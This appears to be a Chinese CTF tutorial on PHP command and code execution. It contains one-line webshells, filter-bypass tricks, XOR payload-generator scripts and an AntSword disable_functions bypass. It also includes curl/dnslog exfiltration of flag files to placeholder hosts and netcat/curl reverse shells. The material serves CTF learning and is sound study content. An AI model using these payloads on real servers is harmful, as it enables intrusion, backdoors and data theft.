Web_2_PHP命令执行+代码执行
Charmersix

第一节 php的基础知识

0x1 php的基本概念

php是网站的一种脚本语言,文件后缀是php,用来写网站,适合中小型网站的开发。

0x2 php环境的安装

php 的运行环境

phpstudy

php 的开发环境

? 区分文件和参数部分

参数部分 用 & 区分 多个键值对

单个键值对用 = 分开

0x3 php写一个hello world

1
2
3
<?php
echo "hello world";
?>

0x3 php基础语法

$_GET

1
2
3
4
<?php
$a=$_GET['a'];
echo $a
?>

$_POST

1
2
3
4
<?php
$a=$_POST['a'];
echo $a
?>

$_REQUEST

1
2
3
<?php
eval($_REQUEST[1]);
?>

当get和post函数被禁用时,可以使用request函数

函数

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function add($a,$b){

return $a+$b;
}
$a=$_POST['a'];

$b=$_POST['b'];

$c=add($a,$b);
echo $c;
?>

危险函数

1
2
3
4
<?php
$cmd=$_POST['cmd'];
system($cmd);
?>

第二节 php的命令执行

0x1 什么是命令执行

RCE

0x2 php的command exec函数

PHP官方有下面六种函数可以执行系统命令

  • system
  • passthru
  • exec
  • shell_exec
  • popen
  • pcntl_exec4
  • 执行运算符
  • echo ``?>

0x3 php的命令执行利用

php的命令执行,我们默认讨论的是服务器系统为Linux

shell 的分号 ; 可以用来分割两条命令

并列命令&&的url编码(%26%26) 也可以分割两条命令 but &&前的命令成功执行,后面的才会成立

|| 表示或 , 可以分割两条命令

1
2
error_reporting(0); //不显示报错
highlight_file(__FILE__); //代码高亮

绕过

base64编码绕过

如果 flag/cat 等命令被过滤,可以使用正则、其他未被过滤命令、base64编码解码

1
`echo dGFjIGZsYWcucGhw | base64 -d`

在linux当中反引号也十分常用,也就是 ` 符号。那么反引号是怎么使用的呢?我的理解是凡是打上反引号的命令,首先将反引号内的命令执行一次,然后再将已经执行过的命令得到的结果再执行一次,就可以得到我们反引号的输出

变量拼接绕过关键字
1
a=c;b=at;c=fla;d=g.php;$a$b ${c}${d}
爆破被过滤的符号

符号被过滤可以爆破一下,

image-20220903213502790

可以使用{}和冒号: 截取空格

使用env浏览环境变量,然后截取

例如GPG_KEYS=CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D

cmd=tac${GPG_KEYS:40:1}*

不回显

没办法直接看到回显,可以使用写文件的方式,将结果写到浏览器可以读取的位置,然后访问url+1.txt

写入文件

可以用 > 写入

dns通道

http://www.dnslog.cn/

当文件过长无法全部回带时,可以部分回带,使用sed -n命令

可以使用

1
a=`sed -n "3,4p" fla?.php|base64`;curl ${a:0:10}.dnslog.cn #a中,从0开始截取10个,然后从10再截取,依此类推

当dnslog被过滤时,可以使用

https://requestrepo.com/#/

https://pipedream.com/

1
2
curl -X POST --data a=`cat ./flag.php` http:/xxxx.com #POST
curl http://xxx.com/?a=`whoami` #GET
反弹shell

以及ctfshow专用反弹shellhttps://your-shell.com/

时间盲注

盲注猜flag

第三节 php的代码执行

0x1 什么是php的代码执行

eval("要执行的代码"); 可以执行参数给的php代码

可以用?>结束php代码。

0x2 代码执行和命令执行的区别

  • system 命令执行
  • shell_exec 命令执行
  • eval 代码执行

0x3 php的代码执行是什么格式

在php语言中,代码分为三种

1.函数调用

函数名 (函数参数1,函数参数2 …);

2.类方法调用

类实例 箭头 类方法 ()

1
($_GET[1])($_GET[2]); //免杀一句话木马

3.语言结构调用

0x4 php的代码执行后门

一句话木马

1
2
3
<?php
eval($_POST[1]);
?> //蚁剑连接

get转post转接头

1
2
3
4
<?php
eval($_GET[1]);
?>
?1=eval($_POST[2]);

0x5 代码执行的类型

image-20220905205127371

("sys"."tem")=system

1
<script language="php">eval($_POST[1])</script> 

php5.6版本以前的可用

最短木马:

1
<?`$_GET[2]`;&2=

反弹 shell

1
2
nc ip port -e /bin/sh #传统姿势
curl https://your-shell.com/ip:port |sh #ctfshow新姿势

烧姿势

1.无字母数字命令执行

采用文件上传的方式,匹配到temp目录下的文件,在该文件中写入命令执行代码

这里搬用一下ctfshow师傅写的upload代码

1
2
3
4
5
<form method="post" enctype="multipart/form-data" action="http://靶场地址/?cmd=. /???/????????[@-[]">

<input type="file" name="file">
<input type="submit" value="upload">
</form>

匹配临时文件,写入命令,实现命令执行

这里开一个靶场写一下详细过程

这里我们把upload.html挂到PHP study

然后随便传一个.txt

打开bp,开抓

image-20220907110602945

我们发到repeater

然后把我们1.txt文件中的内容改成要执行的命令,发包!

image-20220907111148387

成功,如果不成功可以多发几次,因为我们匹配的文件名是未知的,能否正确匹配也是概率事件,多发几次就会成功。

image-20220907111400146

2.无字母数字代码执行

这里我们有两个脚本

作者都来自羽师傅

首先是一个php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

我们把他挂在PHP study,会在本地生成一个xor_rce.txt

然后是一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

我们跑一下,在function:command:下分别填入我们想要执行的命令

image-20220907113334808

然后就会生成一串异或出来的命令,复制执行即可

这里的("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60");

虽然看上去存在一些数字字母,但是都是url编码后的,我们可以解码看一下

image-20220907113751127

是一些不可见字符昂

3.巧用蚁剑插件当脚本小子

在这开始我们要准备一个比较新的中国蚁剑,不要像我一样,打开2016版的蚁剑

image-20220907165937928

打开2019版的蚁剑,至少插件商城能用

装几个插件,这是比较有用的几个,当然根据自己需求在商城里随便装

image-20220907170134913

这里我们不再赘述一句话木马的上传,这时候我们一句话已经连上了,但是无论是读取flag,还是命令执行都没用

然后,来到上传后的提权/绕过操作

加载disable_functions,选择第一个LD_PRELOAD,开始

image-20220907171716075

能看到当前目录下生成了一个.antproxy.php

image-20220907172202728

我们直接连这个文件

image-20220907172258368

这时候我们回到终端whoami

image-20220907172642064

注意这里不要打成who m ai 👴!

image-20220907172723929

然后我们cat试试

image-20220907172800805

没有权限,看来www-data权限还不够,会不会有其他命令,不用root权限,却能代替cat

这里来一些Linux知识

在linux下我们经常用到的四个应用程序的目录是/bin、/sbin、/usr/bin、/usr/sbin 。而四者存放的文件一般如下:

bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。

/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

/sbin目录:

主要放置一些系统管理的必备程序例如:cfdisk、dhcpcd、dump、e2fsck、fdisk、halt、ifconfig、ifup、 ifdown、init、insmod、lilo、lsmod、mke2fs、modprobe、quotacheck、reboot、rmmod、 runlevel、shutdown等。

/usr/sbin目录:

放置一些网路管理的必备程序例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等

综述:

如果这是用户和管理员必备的二进制文件,就会放在/bin。如果这是系统管理员必备,但是一般用户根本不会用到的二进制文件,就会放在 /sbin。

相对而言。如果不是用户必备的二进制文件,多半会放在/usr/bin;如果不是系统管理员必备的工具,多半会放在/usr/sbin

单纯使用ls命令,显示的内容有限。在实际使用的时候,经常需要搭配一些选项来显示更加丰富的内容,ls常用的附加选项如下表所示:

-a 显示指定路径中的所有文件,包括隐藏文件
-l 显示文件的详细信息,包括文件类型,权限,所属用户,所属用户组,文件大小,上一次修改时间等
-h 文件大小以KBytes为单位显示
-S 按照文件大小顺序显示,默认从大到小;若要从小到大,可使用-Sr

我们 ls -al /usr/bin发现(这里是fuzz的,其他题也行需要ls -al 其他文件夹,甚至可以ls -al /*/*

image-20220907173454307

这里的-rwsr-sr-x

第一个s代表的是suid:
他表示当其他的用户执行此命令时,可以取得和此文件的所有者一样的权限来取得系统资源
第而个s代表的是sgid:
他表示当其他的用户执行此命令时,可以取得和此文件的属组一样的权限来取得系统资源

总之,tac 可用

image-20220907174119532

4.蚁剑操作数据库

有时候我们蚁剑连上服务器之后, 会发现服务器目录里没有我们想要的数据, 但是网站却有数据库连接, 这时候我们就可以尝试用蚁剑操作数据库image-20230312182700393

然后我们点击添加, 选择好数据库类型, 以及密码就可以连接

image-20230312182914367

连接后, 我们根据提示, 执行SQL语句就可以拿到flagimage-20230312183027472

 Comments